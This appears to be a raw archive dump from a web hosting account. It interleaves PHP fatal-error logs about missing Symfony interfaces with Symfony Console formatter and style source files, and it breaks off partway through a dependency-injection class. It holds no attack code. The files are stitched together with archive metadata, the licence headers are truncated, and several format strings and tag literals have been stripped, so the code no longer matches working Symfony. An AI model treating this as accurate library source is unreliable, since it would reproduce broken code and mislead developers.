/home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/NullOutputFormatter.php on line 17 [25-Nov-2025 02:33:42 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Formatter\OutputFormatterStyleInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/NullOutputFormatterStyle.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/NullOutputFormatterStyle.php on line 17 [25-Nov-2025 02:34:26 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Formatter\OutputFormatterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/WrappableOutputFormatterInterface.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/WrappableOutputFormatterInterface.php on line 19 [25-Nov-2025 02:34:29 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Formatter\OutputFormatterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/WrappableOutputFormatterInterface.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/WrappableOutputFormatterInterface.php on line 19 [25-Nov-2025 03:01:49 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Formatter\OutputFormatterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/NullOutputFormatter.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/NullOutputFormatter.php on line 17 [25-Nov-2025 03:03:20 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Formatter\WrappableOutputFormatterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/OutputFormatter.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/OutputFormatter.php on line 24 [25-Nov-2025 04:28:52 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Service\ResetInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/OutputFormatterStyleStack.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/OutputFormatterStyleStack.php on line 20 [25-Nov-2025 04:33:10 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Formatter\OutputFormatterStyleInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/OutputFormatterStyle.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/OutputFormatterStyle.php on line 21 [26-Nov-2025 00:38:10 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Service\ResetInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/OutputFormatterStyleStack.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/OutputFormatterStyleStack.php on line 20 [26-Nov-2025 01:32:37 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Formatter\OutputFormatterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/NullOutputFormatter.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/NullOutputFormatter.php on line 17 [26-Nov-2025 01:37:06 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Formatter\OutputFormatterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/WrappableOutputFormatterInterface.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/WrappableOutputFormatterInterface.php on line 19 [26-Nov-2025 01:53:04 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Formatter\OutputFormatterStyleInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/OutputFormatterStyle.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/OutputFormatterStyle.php on line 21 [26-Nov-2025 03:43:29 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Formatter\OutputFormatterStyleInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/NullOutputFormatterStyle.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/NullOutputFormatterStyle.php on line 17 console/Formatter/NullOutputFormatter.php000064400000002206151113512010014667 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Formatter; /** * @author Tien Xuan Vo */ final class NullOutputFormatter implements OutputFormatterInterface { private NullOutputFormatterStyle $style; public function format(?string $message): ?string { return null; } public function getStyle(string $name): OutputFormatterStyleInterface { // to comply with the interface we must return a OutputFormatterStyleInterface return $this->style ??= new NullOutputFormatterStyle(); } public function hasStyle(string $name): bool { return false; } public function isDecorated(): bool { return false; } public function setDecorated(bool $decorated): void { // do nothing } public function setStyle(string $name, OutputFormatterStyleInterface $style): void { // do nothing } } console/Formatter/OutputFormatter.php000064400000020015151113512010014032 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Formatter; use Symfony\Component\Console\Exception\InvalidArgumentException; use function Symfony\Component\String\b; /** * Formatter class for console output. * * @author Konstantin Kudryashov * @author Roland Franssen */ class OutputFormatter implements WrappableOutputFormatterInterface { private bool $decorated; private array $styles = []; private OutputFormatterStyleStack $styleStack; public function __clone() { $this->styleStack = clone $this->styleStack; foreach ($this->styles as $key => $value) { $this->styles[$key] = clone $value; } } /** * Escapes "<" and ">" special chars in given text. */ public static function escape(string $text): string { $text = preg_replace('/([^\\\\]|^)([<>])/', '$1\\\\$2', $text); return self::escapeTrailingBackslash($text); } /** * Escapes trailing "\" in given text. * * @internal */ public static function escapeTrailingBackslash(string $text): string { if (str_ends_with($text, '\\')) { $len = \strlen($text); $text = rtrim($text, '\\'); $text = str_replace("\0", '', $text); $text .= str_repeat("\0", $len - \strlen($text)); } return $text; } /** * Initializes console output formatter. * * @param OutputFormatterStyleInterface[] $styles Array of "name => FormatterStyle" instances */ public function __construct(bool $decorated = false, array $styles = []) { $this->decorated = $decorated; $this->setStyle('error', new OutputFormatterStyle('white', 'red')); $this->setStyle('info', new OutputFormatterStyle('green')); $this->setStyle('comment', new OutputFormatterStyle('yellow')); $this->setStyle('question', new OutputFormatterStyle('black', 'cyan')); foreach ($styles as $name => $style) { $this->setStyle($name, $style); } $this->styleStack = new OutputFormatterStyleStack(); } /** * @return void */ public function setDecorated(bool $decorated) { $this->decorated = $decorated; } public function isDecorated(): bool { return $this->decorated; } /** * @return void */ public function setStyle(string $name, OutputFormatterStyleInterface $style) { $this->styles[strtolower($name)] = $style; } public function hasStyle(string $name): bool { return isset($this->styles[strtolower($name)]); } public function getStyle(string $name): OutputFormatterStyleInterface { if (!$this->hasStyle($name)) { throw new InvalidArgumentException(sprintf('Undefined style: "%s".', $name)); } return $this->styles[strtolower($name)]; } public function format(?string $message): ?string { return $this->formatAndWrap($message, 0); } /** * @return string */ public function formatAndWrap(?string $message, int $width) { if (null === $message) { return ''; } $offset = 0; $output = ''; $openTagRegex = '[a-z](?:[^\\\\<>]*+ | \\\\.)*'; $closeTagRegex = '[a-z][^<>]*+'; $currentLineLength = 0; preg_match_all("#<(($openTagRegex) | /($closeTagRegex)?)>#ix", $message, $matches, \PREG_OFFSET_CAPTURE); foreach ($matches[0] as $i => $match) { $pos = $match[1]; $text = $match[0]; if (0 != $pos && '\\' == $message[$pos - 1]) { continue; } // add the text up to the next tag $output .= $this->applyCurrentStyle(substr($message, $offset, $pos - $offset), $output, $width, $currentLineLength); $offset = $pos + \strlen($text); // opening tag? if ($open = '/' !== $text[1]) { $tag = $matches[1][$i][0]; } else { $tag = $matches[3][$i][0] ?? ''; } if (!$open && !$tag) { // $this->styleStack->pop(); } elseif (null === $style = $this->createStyleFromString($tag)) { $output .= $this->applyCurrentStyle($text, $output, $width, $currentLineLength); } elseif ($open) { $this->styleStack->push($style); } else { $this->styleStack->pop($style); } } $output .= $this->applyCurrentStyle(substr($message, $offset), $output, $width, $currentLineLength); return strtr($output, ["\0" => '\\', '\\<' => '<', '\\>' => '>']); } public function getStyleStack(): OutputFormatterStyleStack { return $this->styleStack; } /** * Tries to create new style instance from string. */ private function createStyleFromString(string $string): ?OutputFormatterStyleInterface { if (isset($this->styles[$string])) { return $this->styles[$string]; } if (!preg_match_all('/([^=]+)=([^;]+)(;|$)/', $string, $matches, \PREG_SET_ORDER)) { return null; } $style = new OutputFormatterStyle(); foreach ($matches as $match) { array_shift($match); $match[0] = strtolower($match[0]); if ('fg' == $match[0]) { $style->setForeground(strtolower($match[1])); } elseif ('bg' == $match[0]) { $style->setBackground(strtolower($match[1])); } elseif ('href' === $match[0]) { $url = preg_replace('{\\\\([<>])}', '$1', $match[1]); $style->setHref($url); } elseif ('options' === $match[0]) { preg_match_all('([^,;]+)', strtolower($match[1]), $options); $options = array_shift($options); foreach ($options as $option) { $style->setOption($option); } } else { return null; } } return $style; } /** * Applies current style from stack to text, if must be applied. */ private function applyCurrentStyle(string $text, string $current, int $width, int &$currentLineLength): string { if ('' === $text) { return ''; } if (!$width) { return $this->isDecorated() ? $this->styleStack->getCurrent()->apply($text) : $text; } if (!$currentLineLength && '' !== $current) { $text = ltrim($text); } if ($currentLineLength) { $prefix = substr($text, 0, $i = $width - $currentLineLength)."\n"; $text = substr($text, $i); } else { $prefix = ''; } preg_match('~(\\n)$~', $text, $matches); $text = $prefix.$this->addLineBreaks($text, $width); $text = rtrim($text, "\n").($matches[1] ?? ''); if (!$currentLineLength && '' !== $current && !str_ends_with($current, "\n")) { $text = "\n".$text; } $lines = explode("\n", $text); foreach ($lines as $line) { $currentLineLength += \strlen($line); if ($width <= $currentLineLength) { $currentLineLength = 0; } } if ($this->isDecorated()) { foreach ($lines as $i => $line) { $lines[$i] = $this->styleStack->getCurrent()->apply($line); } } return implode("\n", $lines); } private function addLineBreaks(string $text, int $width): string { $encoding = mb_detect_encoding($text, null, true) ?: 'UTF-8'; return b($text)->toCodePointString($encoding)->wordwrap($width, "\n", true)->toByteString($encoding); } } console/Formatter/OutputFormatterInterface.php000064400000002425151113512010015660 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Formatter; /** * Formatter interface for console output. * * @author Konstantin Kudryashov */ interface OutputFormatterInterface { /** * Sets the decorated flag. * * @return void */ public function setDecorated(bool $decorated); /** * Whether the output will decorate messages. */ public function isDecorated(): bool; /** * Sets a new style. * * @return void */ public function setStyle(string $name, OutputFormatterStyleInterface $style); /** * Checks if output formatter has style with specified name. */ public function hasStyle(string $name): bool; /** * Gets style options from style with specified name. * * @throws \InvalidArgumentException When style isn't defined */ public function getStyle(string $name): OutputFormatterStyleInterface; /** * Formats a message according to the given styles. */ public function format(?string $message): ?string; } console/Formatter/OutputFormatterStyleInterface.php000064400000002300151113512010016671 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Formatter; /** * Formatter style interface for defining styles. * * @author Konstantin Kudryashov */ interface OutputFormatterStyleInterface { /** * Sets style foreground color. * * @return void */ public function setForeground(?string $color); /** * Sets style background color. * * @return void */ public function setBackground(?string $color); /** * Sets some specific style option. * * @return void */ public function setOption(string $option); /** * Unsets some specific style option. * * @return void */ public function unsetOption(string $option); /** * Sets multiple style options at once. * * @return void */ public function setOptions(array $options); /** * Applies the style to a given text. */ public function apply(string $text): string; } console/Style/StyleInterface.php000064400000005227151113512010012734 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Style; /** * Output style helpers. * * @author Kevin Bond */ interface StyleInterface { /** * Formats a command title. * * @return void */ public function title(string $message); /** * Formats a section title. * * @return void */ public function section(string $message); /** * Formats a list. * * @return void */ public function listing(array $elements); /** * Formats informational text. * * @return void */ public function text(string|array $message); /** * Formats a success result bar. * * @return void */ public function success(string|array $message); /** * Formats an error result bar. * * @return void */ public function error(string|array $message); /** * Formats an warning result bar. * * @return void */ public function warning(string|array $message); /** * Formats a note admonition. * * @return void */ public function note(string|array $message); /** * Formats a caution admonition. * * @return void */ public function caution(string|array $message); /** * Formats a table. * * @return void */ public function table(array $headers, array $rows); /** * Asks a question. */ public function ask(string $question, string $default = null, callable $validator = null): mixed; /** * Asks a question with the user input hidden. */ public function askHidden(string $question, callable $validator = null): mixed; /** * Asks for confirmation. */ public function confirm(string $question, bool $default = true): bool; /** * Asks a choice question. */ public function choice(string $question, array $choices, mixed $default = null): mixed; /** * Add newline(s). * * @return void */ public function newLine(int $count = 1); /** * Starts the progress output. * * @return void */ public function progressStart(int $max = 0); /** * Advances the progress output X steps. * * @return void */ public function progressAdvance(int $step = 1); /** * Finishes the progress output. * * @return void */ public function progressFinish(); } console/Style/OutputStyle.php000064400000005563151113512010012337 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Style; use Symfony\Component\Console\Formatter\OutputFormatterInterface; use Symfony\Component\Console\Helper\ProgressBar; use Symfony\Component\Console\Output\ConsoleOutputInterface; use Symfony\Component\Console\Output\OutputInterface; /** * Decorates output to add console style guide helpers. * * @author Kevin Bond */ abstract class OutputStyle implements OutputInterface, StyleInterface { private OutputInterface $output; public function __construct(OutputInterface $output) { $this->output = $output; } /** * @return void */ public function newLine(int $count = 1) { $this->output->write(str_repeat(\PHP_EOL, $count)); } public function createProgressBar(int $max = 0): ProgressBar { return new ProgressBar($this->output, $max); } /** * @return void */ public function write(string|iterable $messages, bool $newline = false, int $type = self::OUTPUT_NORMAL) { $this->output->write($messages, $newline, $type); } /** * @return void */ public function writeln(string|iterable $messages, int $type = self::OUTPUT_NORMAL) { $this->output->writeln($messages, $type); } /** * @return void */ public function setVerbosity(int $level) { $this->output->setVerbosity($level); } public function getVerbosity(): int { return $this->output->getVerbosity(); } /** * @return void */ public function setDecorated(bool $decorated) { $this->output->setDecorated($decorated); } public function isDecorated(): bool { return $this->output->isDecorated(); } /** * @return void */ public function setFormatter(OutputFormatterInterface $formatter) { $this->output->setFormatter($formatter); } public function getFormatter(): OutputFormatterInterface { return $this->output->getFormatter(); } public function isQuiet(): bool { return $this->output->isQuiet(); } public function isVerbose(): bool { return $this->output->isVerbose(); } public function isVeryVerbose(): bool { return $this->output->isVeryVerbose(); } public function isDebug(): bool { return $this->output->isDebug(); } /** * @return OutputInterface */ protected function getErrorOutput() { if (!$this->output instanceof ConsoleOutputInterface) { return $this->output; } return $this->output->getErrorOutput(); } } console/Style/SymfonyStyle.php000064400000035145151113512010012502 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Style; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Exception\RuntimeException; use Symfony\Component\Console\Formatter\OutputFormatter; use Symfony\Component\Console\Helper\Helper; use Symfony\Component\Console\Helper\OutputWrapper; use Symfony\Component\Console\Helper\ProgressBar; use Symfony\Component\Console\Helper\SymfonyQuestionHelper; use Symfony\Component\Console\Helper\Table; use Symfony\Component\Console\Helper\TableCell; use Symfony\Component\Console\Helper\TableSeparator; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\ConsoleOutputInterface; use Symfony\Component\Console\Output\ConsoleSectionOutput; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Output\TrimmedBufferOutput; use Symfony\Component\Console\Question\ChoiceQuestion; use Symfony\Component\Console\Question\ConfirmationQuestion; use Symfony\Component\Console\Question\Question; use Symfony\Component\Console\Terminal; /** * Output decorator helpers for the Symfony Style Guide. * * @author Kevin Bond */ class SymfonyStyle extends OutputStyle { public const MAX_LINE_LENGTH = 120; private InputInterface $input; private OutputInterface $output; private SymfonyQuestionHelper $questionHelper; private ProgressBar $progressBar; private int $lineLength; private TrimmedBufferOutput $bufferedOutput; public function __construct(InputInterface $input, OutputInterface $output) { $this->input = $input; $this->bufferedOutput = new TrimmedBufferOutput(\DIRECTORY_SEPARATOR === '\\' ? 4 : 2, $output->getVerbosity(), false, clone $output->getFormatter()); // Windows cmd wraps lines as soon as the terminal width is reached, whether there are following chars or not. $width = (new Terminal())->getWidth() ?: self::MAX_LINE_LENGTH; $this->lineLength = min($width - (int) (\DIRECTORY_SEPARATOR === '\\'), self::MAX_LINE_LENGTH); parent::__construct($this->output = $output); } /** * Formats a message as a block of text. * * @return void */ public function block(string|array $messages, string $type = null, string $style = null, string $prefix = ' ', bool $padding = false, bool $escape = true) { $messages = \is_array($messages) ? array_values($messages) : [$messages]; $this->autoPrependBlock(); $this->writeln($this->createBlock($messages, $type, $style, $prefix, $padding, $escape)); $this->newLine(); } /** * @return void */ public function title(string $message) { $this->autoPrependBlock(); $this->writeln([ sprintf('%s', OutputFormatter::escapeTrailingBackslash($message)), sprintf('%s', str_repeat('=', Helper::width(Helper::removeDecoration($this->getFormatter(), $message)))), ]); $this->newLine(); } /** * @return void */ public function section(string $message) { $this->autoPrependBlock(); $this->writeln([ sprintf('%s', OutputFormatter::escapeTrailingBackslash($message)), sprintf('%s', str_repeat('-', Helper::width(Helper::removeDecoration($this->getFormatter(), $message)))), ]); $this->newLine(); } /** * @return void */ public function listing(array $elements) { $this->autoPrependText(); $elements = array_map(fn ($element) => sprintf(' * %s', $element), $elements); $this->writeln($elements); $this->newLine(); } /** * @return void */ public function text(string|array $message) { $this->autoPrependText(); $messages = \is_array($message) ? array_values($message) : [$message]; foreach ($messages as $message) { $this->writeln(sprintf(' %s', $message)); } } /** * Formats a command comment. * * @return void */ public function comment(string|array $message) { $this->block($message, null, null, ' // ', false, false); } /** * @return void */ public function success(string|array $message) { $this->block($message, 'OK', 'fg=black;bg=green', ' ', true); } /** * @return void */ public function error(string|array $message) { $this->block($message, 'ERROR', 'fg=white;bg=red', ' ', true); } /** * @return void */ public function warning(string|array $message) { $this->block($message, 'WARNING', 'fg=black;bg=yellow', ' ', true); } /** * @return void */ public function note(string|array $message) { $this->block($message, 'NOTE', 'fg=yellow', ' ! '); } /** * Formats an info message. * * @return void */ public function info(string|array $message) { $this->block($message, 'INFO', 'fg=green', ' ', true); } /** * @return void */ public function caution(string|array $message) { $this->block($message, 'CAUTION', 'fg=white;bg=red', ' ! ', true); } /** * @return void */ public function table(array $headers, array $rows) { $this->createTable() ->setHeaders($headers) ->setRows($rows) ->render() ; $this->newLine(); } /** * Formats a horizontal table. * * @return void */ public function horizontalTable(array $headers, array $rows) { $this->createTable() ->setHorizontal(true) ->setHeaders($headers) ->setRows($rows) ->render() ; $this->newLine(); } /** * Formats a list of key/value horizontally. * * Each row can be one of: * * 'A title' * * ['key' => 'value'] * * new TableSeparator() * * @return void */ public function definitionList(string|array|TableSeparator ...$list) { $headers = []; $row = []; foreach ($list as $value) { if ($value instanceof TableSeparator) { $headers[] = $value; $row[] = $value; continue; } if (\is_string($value)) { $headers[] = new TableCell($value, ['colspan' => 2]); $row[] = null; continue; } if (!\is_array($value)) { throw new InvalidArgumentException('Value should be an array, string, or an instance of TableSeparator.'); } $headers[] = key($value); $row[] = current($value); } $this->horizontalTable($headers, [$row]); } public function ask(string $question, string $default = null, callable $validator = null): mixed { $question = new Question($question, $default); $question->setValidator($validator); return $this->askQuestion($question); } public function askHidden(string $question, callable $validator = null): mixed { $question = new Question($question); $question->setHidden(true); $question->setValidator($validator); return $this->askQuestion($question); } public function confirm(string $question, bool $default = true): bool { return $this->askQuestion(new ConfirmationQuestion($question, $default)); } public function choice(string $question, array $choices, mixed $default = null, bool $multiSelect = false): mixed { if (null !== $default) { $values = array_flip($choices); $default = $values[$default] ?? $default; } $questionChoice = new ChoiceQuestion($question, $choices, $default); $questionChoice->setMultiselect($multiSelect); return $this->askQuestion($questionChoice); } /** * @return void */ public function progressStart(int $max = 0) { $this->progressBar = $this->createProgressBar($max); $this->progressBar->start(); } /** * @return void */ public function progressAdvance(int $step = 1) { $this->getProgressBar()->advance($step); } /** * @return void */ public function progressFinish() { $this->getProgressBar()->finish(); $this->newLine(2); unset($this->progressBar); } public function createProgressBar(int $max = 0): ProgressBar { $progressBar = parent::createProgressBar($max); if ('\\' !== \DIRECTORY_SEPARATOR || 'Hyper' === getenv('TERM_PROGRAM')) { $progressBar->setEmptyBarCharacter('░'); // light shade character \u2591 $progressBar->setProgressCharacter(''); $progressBar->setBarCharacter('▓'); // dark shade character \u2593 } return $progressBar; } /** * @see ProgressBar::iterate() */ public function progressIterate(iterable $iterable, int $max = null): iterable { yield from $this->createProgressBar()->iterate($iterable, $max); $this->newLine(2); } public function askQuestion(Question $question): mixed { if ($this->input->isInteractive()) { $this->autoPrependBlock(); } $this->questionHelper ??= new SymfonyQuestionHelper(); $answer = $this->questionHelper->ask($this->input, $this, $question); if ($this->input->isInteractive()) { if ($this->output instanceof ConsoleSectionOutput) { // add the new line of the `return` to submit the input to ConsoleSectionOutput, because ConsoleSectionOutput is holding all it's lines. // this is relevant when a `ConsoleSectionOutput::clear` is called. $this->output->addNewLineOfInputSubmit(); } $this->newLine(); $this->bufferedOutput->write("\n"); } return $answer; } /** * @return void */ public function writeln(string|iterable $messages, int $type = self::OUTPUT_NORMAL) { if (!is_iterable($messages)) { $messages = [$messages]; } foreach ($messages as $message) { parent::writeln($message, $type); $this->writeBuffer($message, true, $type); } } /** * @return void */ public function write(string|iterable $messages, bool $newline = false, int $type = self::OUTPUT_NORMAL) { if (!is_iterable($messages)) { $messages = [$messages]; } foreach ($messages as $message) { parent::write($message, $newline, $type); $this->writeBuffer($message, $newline, $type); } } /** * @return void */ public function newLine(int $count = 1) { parent::newLine($count); $this->bufferedOutput->write(str_repeat("\n", $count)); } /** * Returns a new instance which makes use of stderr if available. */ public function getErrorStyle(): self { return new self($this->input, $this->getErrorOutput()); } public function createTable(): Table { $output = $this->output instanceof ConsoleOutputInterface ? $this->output->section() : $this->output; $style = clone Table::getStyleDefinition('symfony-style-guide'); $style->setCellHeaderFormat('%s'); return (new Table($output))->setStyle($style); } private function getProgressBar(): ProgressBar { return $this->progressBar ?? throw new RuntimeException('The ProgressBar is not started.'); } private function autoPrependBlock(): void { $chars = substr(str_replace(\PHP_EOL, "\n", $this->bufferedOutput->fetch()), -2); if (!isset($chars[0])) { $this->newLine(); // empty history, so we should start with a new line. return; } // Prepend new line for each non LF chars (This means no blank line was output before) $this->newLine(2 - substr_count($chars, "\n")); } private function autoPrependText(): void { $fetched = $this->bufferedOutput->fetch(); // Prepend new line if last char isn't EOL: if ($fetched && !str_ends_with($fetched, "\n")) { $this->newLine(); } } private function writeBuffer(string $message, bool $newLine, int $type): void { // We need to know if the last chars are PHP_EOL $this->bufferedOutput->write($message, $newLine, $type); } private function createBlock(iterable $messages, string $type = null, string $style = null, string $prefix = ' ', bool $padding = false, bool $escape = false): array { $indentLength = 0; $prefixLength = Helper::width(Helper::removeDecoration($this->getFormatter(), $prefix)); $lines = []; if (null !== $type) { $type = sprintf('[%s] ', $type); $indentLength = Helper::width($type); $lineIndentation = str_repeat(' ', $indentLength); } // wrap and add newlines for each element $outputWrapper = new OutputWrapper(); foreach ($messages as $key => $message) { if ($escape) { $message = OutputFormatter::escape($message); } $lines = array_merge( $lines, explode(\PHP_EOL, $outputWrapper->wrap( $message, $this->lineLength - $prefixLength - $indentLength, \PHP_EOL )) ); if (\count($messages) > 1 && $key < \count($messages) - 1) { $lines[] = ''; } } $firstLineIndex = 0; if ($padding && $this->isDecorated()) { $firstLineIndex = 1; array_unshift($lines, ''); $lines[] = ''; } foreach ($lines as $i => &$line) { if (null !== $type) { $line = $firstLineIndex === $i ? $type.$line : $lineIndentation.$line; } $line = $prefix.$line; $line .= str_repeat(' ', max($this->lineLength - Helper::width(Helper::removeDecoration($this->getFormatter(), $line)), 0)); if ($style) { $line = sprintf('<%s>%s', $style, $line); } } return $lines; } } console/Style/error_log000064400000002531151113512010011212 0ustar00[20-Nov-2025 15:42:43 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Output\OutputInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Style/OutputStyle.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Style/OutputStyle.php on line 24 [25-Nov-2025 02:35:58 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Output\OutputInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Style/OutputStyle.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Style/OutputStyle.php on line 24 [25-Nov-2025 03:27:24 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Style\OutputStyle" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Style/SymfonyStyle.php:39 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Style/SymfonyStyle.php on line 39 [26-Nov-2025 01:21:01 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Output\OutputInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Style/OutputStyle.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Style/OutputStyle.php on line 24 console/error_log000064400000004441151113512010010114 0ustar00[18-Nov-2025 18:35:09 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/SingleCommandApplication.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/SingleCommandApplication.php on line 21 [20-Nov-2025 05:57:57 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Service\ResetInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Application.php:73 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Application.php on line 73 [20-Nov-2025 10:40:00 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Service\ResetInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Application.php:73 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Application.php on line 73 [24-Nov-2025 10:13:37 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Service\ResetInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Application.php:73 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Application.php on line 73 [24-Nov-2025 11:55:20 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/SingleCommandApplication.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/SingleCommandApplication.php on line 21 [25-Nov-2025 10:46:48 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Service\ResetInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Application.php:73 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Application.php on line 73 [25-Nov-2025 10:50:26 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/SingleCommandApplication.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/SingleCommandApplication.php on line 21 console/DependencyInjection/AddConsoleCommandPass.php000064400000012163151113512020016773 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\DependencyInjection; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Command\LazyCommand; use Symfony\Component\Console\CommandLoader\ContainerCommandLoader; use Symfony\Component\DependencyInjection\Argument\ServiceClosureArgument; use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface; use Symfony\Component\DependencyInjection\Compiler\ServiceLocatorTagPass; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Exception\InvalidArgumentException; use Symfony\Component\DependencyInjection\Reference; use Symfony\Component\DependencyInjection\TypedReference; /** * Registers console commands. * * @author Grégoire Pineau */ class AddConsoleCommandPass implements CompilerPassInterface { /** * @return void */ public function process(ContainerBuilder $container) { $commandServices = $container->findTaggedServiceIds('console.command', true); $lazyCommandMap = []; $lazyCommandRefs = []; $serviceIds = []; foreach ($commandServices as $id => $tags) { $definition = $container->getDefinition($id); $definition->addTag('container.no_preload'); $class = $container->getParameterBag()->resolveValue($definition->getClass()); if (isset($tags[0]['command'])) { $aliases = $tags[0]['command']; } else { if (!$r = $container->getReflectionClass($class)) { throw new InvalidArgumentException(sprintf('Class "%s" used for service "%s" cannot be found.', $class, $id)); } if (!$r->isSubclassOf(Command::class)) { throw new InvalidArgumentException(sprintf('The service "%s" tagged "%s" must be a subclass of "%s".', $id, 'console.command', Command::class)); } $aliases = str_replace('%', '%%', $class::getDefaultName() ?? ''); } $aliases = explode('|', $aliases ?? ''); $commandName = array_shift($aliases); if ($isHidden = '' === $commandName) { $commandName = array_shift($aliases); } if (null === $commandName) { if (!$definition->isPublic() || $definition->isPrivate() || $definition->hasTag('container.private')) { $commandId = 'console.command.public_alias.'.$id; $container->setAlias($commandId, $id)->setPublic(true); $id = $commandId; } $serviceIds[] = $id; continue; } $description = $tags[0]['description'] ?? null; unset($tags[0]); $lazyCommandMap[$commandName] = $id; $lazyCommandRefs[$id] = new 